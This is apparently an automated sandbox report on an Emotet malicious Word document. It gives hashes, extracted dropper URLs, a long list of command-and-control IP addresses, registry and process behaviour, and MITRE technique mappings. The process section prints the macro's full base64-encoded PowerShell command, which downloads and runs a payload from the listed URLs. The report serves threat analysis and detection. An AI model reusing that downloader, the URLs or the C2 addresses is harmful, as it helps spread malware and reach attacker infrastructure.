emotet | b142f2afa6f949be5fd70d20821f44b28680f06d06ed60e6311e9ab9c898f5e3

General

Target
J_NAM_070120_VVZ_073020.doc
Size 176KB
Sample200731-glhr1rnghx
SHA256 b142f2afa6f949be5fd70d20821f44b28680f06d06ed60e6311e9ab9c898f5e3
MD5 1481b9d4d8bc856de885ecca864494f8
SHA1 83100b5e5f5307d97aad3ddaeca9c805a81156fa
SHA512 7b304b57766b8ca3ed07124220db7c0b8f27668f3618376a94033d33f0c29e3f17c4abb3f7c8a954bbc8e5e2e0d2a58ecc8b231da49517655ec17088e6df3c77
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper
http://kmgusa.net/_Media/vcpg_k56w_8d5/
exe.dropper
http://saangberg.com/wp-includes/u_a_vn/
exe.dropper
https://webpresario.com/now/Marck-Script/c3j0x_6_8z2g0sdd/
exe.dropper
https://www.merlincolor.com/stylesheets/46_b_ez5p/
exe.dropper
http://www.geodesign07.com/wp-content/ni9tn_7_6aiui/

Extracted

Family

emotet

C2

47.146.117.214:80
62.108.54.22:8080
212.51.142.238:8080
190.160.53.126:80
87.106.136.232:8080
74.208.45.104:8080
121.124.124.40:7080
124.45.106.173:443
76.27.179.47:80
210.165.156.91:80
61.19.246.238:443
81.2.235.111:8080
169.239.182.217:8080
181.230.116.163:80
139.130.242.43:80
46.105.131.87:80
139.59.60.244:8080
222.214.218.37:4143
41.60.200.34:80
200.55.243.138:8080
24.234.133.205:80
190.55.181.54:443
189.212.199.126:443
93.156.165.186:80
62.138.26.28:8080
62.75.141.82:80
176.111.60.55:8080
168.235.67.138:7080
109.117.53.230:443
5.196.74.210:8080
162.154.38.103:80
152.168.248.128:443
83.110.223.58:443
95.9.185.228:443
180.92.239.110:8080
209.141.54.221:8080
37.187.72.193:8080
113.160.130.116:8443
85.59.136.180:8080
79.98.24.39:8080
91.231.166.124:8080
185.94.252.104:443
108.48.41.69:80
95.179.229.244:8080
71.208.216.10:80
93.51.50.171:8080
78.24.219.147:8080
24.179.13.119:80
200.41.121.90:80
153.126.210.205:7080
104.236.246.93:8080
46.105.131.79:8080
201.173.217.124:443
50.116.86.205:8080
116.203.32.252:8080
157.245.99.39:8080
109.74.5.95:8080
203.153.216.189:7080
87.106.139.101:8080
137.59.187.107:8080
110.145.77.103:80
47.153.182.47:80
95.213.236.64:8080
24.43.99.75:80
209.182.216.177:443
173.91.22.41:80
5.39.91.110:7080
75.139.38.211:80
91.211.88.52:7080
37.139.21.175:8080
162.241.92.219:8080
104.131.11.150:443
70.167.215.250:8080
104.131.44.150:8080
103.86.49.11:8080
65.111.120.223:80

rsa_pubkey.plain

Signatures

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3900	WINWORD.EXE
3900	WINWORD.EXE

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3480	644	powersheLL.exe	66

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3480	powersheLL.exe

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
3480	powersheLL.exe
3480	powersheLL.exe
3480	powersheLL.exe
3772	MPG4DECD.exe
3772	MPG4DECD.exe
3772	MPG4DECD.exe
3772	MPG4DECD.exe

Blacklisted process makes network request 1 IoCs

flow	pid	Process
22	3480	powersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
3800	415.exe
3772	MPG4DECD.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 3800 wrote to memory of 3772	3800	415.exe	77
PID 3800 wrote to memory of 3772	3800	415.exe	77
PID 3800 wrote to memory of 3772	3800	415.exe	77

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\MapControlStringsRes\MPG4DECD.exe	415.exe

Suspicious use of SetWindowsHookEx 11 IoCs

pid	Process
3900	WINWORD.EXE
3900	WINWORD.EXE
3900	WINWORD.EXE
3900	WINWORD.EXE
3900	WINWORD.EXE
3900	WINWORD.EXE
3900	WINWORD.EXE
3900	WINWORD.EXE
3900	WINWORD.EXE
3800	415.exe
3772	MPG4DECD.exe

Emotet Payload 4 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/3800-9-0x0000000000510000-0x000000000051C000-memory.dmp	emotet
behavioral2/memory/3800-9-0x0000000000510000-0x000000000051C000-memory.dmp	emotet
behavioral2/memory/3772-12-0x0000000000590000-0x000000000059C000-memory.dmp	emotet
behavioral2/memory/3772-12-0x0000000000590000-0x000000000059C000-memory.dmp	emotet

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\J_NAM_070120_VVZ_073020.doc" /o ""
1⤵
- Checks processor information in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Enumerates system info in registry
PID:3900

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABTAFYATgBCAEgAdwB1AHoAPQAnAFMAUABGAEMAWgBhAGgAaQAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAEUAYwB1AFIASQBgAFQAeQBwAGAAUgBPAHQATwBDAG8ATAAiACAAPQAgACcAdABsAHMAMQAyACwAIAB0AGwAcwAxADEALAAgAHQAbABzACcAOwAkAFgATABRAEgATABvAHAAbAAgAD0AIAAnADQAMQA1ACcAOwAkAFIASgBSAEkATgBlAGkAbAA9ACcASgBQAFkAWABMAGQAbAB3ACcAOwAkAFUARgBOAEYAQQBwAHEAYgA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQAWABMAFEASABMAG8AcABsACsAJwAuAGUAeABlACcAOwAkAFQAWQBSAEwAQgBtAHgAbQA9ACcAVgBMAFAAWgBDAGUAYwB0ACcAOwAkAEMAQgBUAEQAVABmAGMAcQA9AC4AKAAnAG4AZQB3AC0AbwAnACsAJwBiACcAKwAnAGoAZQBjAHQAJwApACAATgBlAHQALgBXAEUAYgBDAEwASQBFAG4AVAA7ACQAWABLAEcAWQBQAGwAZwB3AD0AJwBoAHQAdABwADoALwAvAGsAbQBnAHUAcwBhAC4AbgBlAHQALwBfAE0AZQBkAGkAYQAvAHYAYwBwAGcAXwBrADUANgB3AF8AOABkADUALwAqAGgAdAB0AHAAOgAvAC8AcwBhAGEAbgBnAGIAZQByAGcALgBjAG8AbQAvAHcAcAAtAGkAbgBjAGwAdQBkAGUAcwAvAHUAXwBhAF8AdgBuAC8AKgBoAHQAdABwAHMAOgAvAC8AdwBlAGIAcAByAGUAcwBhAHIAaQBvAC4AYwBvAG0ALwBuAG8AdwAvAE0AYQByAGMAawAtAFMAYwByAGkAcAB0AC8AYwAzAGoAMAB4AF8ANgBfADgAegAyAGcAMABzAGQAZAAvACoAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AbQBlAHIAbABpAG4AYwBvAGwAbwByAC4AYwBvAG0ALwBzAHQAeQBsAGUAcwBoAGUAZQB0AHMALwA0ADYAXwBiAF8AZQB6ADUAcAAvACoAaAB0AHQAcAA6AC8ALwB3AHcAdwAuAGcAZQBvAGQAZQBzAGkAZwBuADAANwAuAGMAbwBtAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAG4AaQA5AHQAbgBfADcAXwA2AGEAaQB1AGkALwAnAC4AIgBzAHAAbABgAEkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAEIATgBBAFcAWQBsAHYAcQA9ACcAVABSAFQAWQBPAGUAeQBwACcAOwBmAG8AcgBlAGEAYwBoACgAJABRAEEATgBNAFcAcQBkAHMAIABpAG4AIAAkAFgASwBHAFkAUABsAGcAdwApAHsAdAByAHkAewAkAEMAQgBUAEQAVABmAGMAcQAuACIAZABgAE8AVwBOAEwATwBBAGQAZgBJAGAAbABlACIAKAAkAFEAQQBOAE0AVwBxAGQAcwAsACAAJABVAEYATgBGAEEAcABxAGIAKQA7ACQAVgBHAEkARQBLAGIAYwBuAD0AJwBLAEoATQBVAFYAcwBhAGoAJwA7AEkAZgAgACgAKAAmACgAJwBHAGUAdAAnACsAJwAtACcAKwAnAEkAdABlAG0AJwApACAAJABVAEYATgBGAEEAcABxAGIAKQAuACIAbABFAE4ARwBgAFQAaAAiACAALQBnAGUAIAAyADcANgAyADEAKQAgAHsAKABbAHcAbQBpAGMAbABhAHMAcwBdACcAdwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwAnACkALgAiAGMAYABSAGAARQBBAHQAZQAiACgAJABVAEYATgBGAEEAcABxAGIAKQA7ACQAVwBBAEYAUABLAHoAZAB1AD0AJwBXAFgATABCAE4AcwBnAG0AJwA7AGIAcgBlAGEAawA7ACQAVwBDAFoAVABLAGwAawBnAD0AJwBaAFcAQgBZAEUAdQBvAHMAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAUQBRAFgARQBIAGcAdQByAD0AJwBZAEkAWgBDAE8AZgBnAG0AJwA=
1⤵
- Process spawned unexpected child process
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
- Blacklisted process makes network request
PID:3480

C:\Users\Admin\415.exe
C:\Users\Admin\415.exe
1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
PID:3800
- C:\Windows\SysWOW64\MapControlStringsRes\MPG4DECD.exe
  "C:\Windows\SysWOW64\MapControlStringsRes\MPG4DECD.exe"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Executes dropped EXE
  - Suspicious use of SetWindowsHookEx
  PID:3772

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/3772-12-0x0000000000590000-0x000000000059C000-memory.dmp

Download

memory/3800-9-0x0000000000510000-0x000000000051C000-memory.dmp

Download

memory/3900-3-0x000001B14AF98000-0x000001B14AFA9000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads